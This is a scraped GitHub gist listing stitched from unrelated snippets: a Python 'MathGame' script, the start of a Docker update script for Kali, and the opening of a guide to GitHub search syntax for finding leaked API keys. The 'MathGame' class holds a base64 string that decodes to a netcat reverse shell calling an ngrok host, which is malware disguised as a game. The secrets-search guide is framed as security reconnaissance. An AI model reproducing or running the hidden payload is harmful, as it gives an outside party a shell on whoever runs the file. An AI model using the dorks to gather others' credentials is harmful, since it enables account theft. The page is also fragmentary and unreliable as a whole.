Skip to content

Instantly share code, notes, and snippets.

#!/usr/bin/env python3
import base64
import random
import os
import sys
from typing import List, Dict
import binascii
import codecs
class MathGame:
cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDAudGNwLmFwLm5ncm9rLmlvIDE3OTAyID4vdG1wL2Y=
@MaanVader
MaanVader / docker-update.sh
Created September 12, 2024 07:32
A bAsh script to update docker to the latest version on kali
#!/bin/bash
# Function to uninstall old Docker versions and clean up
uninstall_old_docker() {
echo "Uninstalling old Docker packages..."
for pkg in docker.io docker-doc docker-compose podman-docker containerd runc; do
sudo apt-get remove -y $pkg
done
echo "Purging any remaining Docker components..."

GitHub Search Syntax for Finding API Keys/Secrets/Tokens

As a security professional, it is important to conduct a thorough reconnaissance. With the increasing use of APIs nowadays, it has become paramount to keep access tokens and other API-related secrets secure in order to prevent leaks. However, despite technological advances, human error remains a factor, and many developers still unknowingly hardcode their API secrets into source code and commit them to public repositories. GitHub, being a widely popular platform for public code repositories, may inadvertently host such leaked secrets. To help identify these vulnerabilities, I have created a comprehensive search list using powerful search syntax that enables the search of thousands of leaked keys and secrets in a single search.

Search Syntax:

(path:*.{File_extension1} OR path:*.{File_extension-N}) AND ({Keyname1} OR {Keyname-N}) AND (({Signature/pattern1} OR {Signature/pattern-N}) AND ({PlatformTag1} OR {PlatformTag-N}))

Examples:

**1.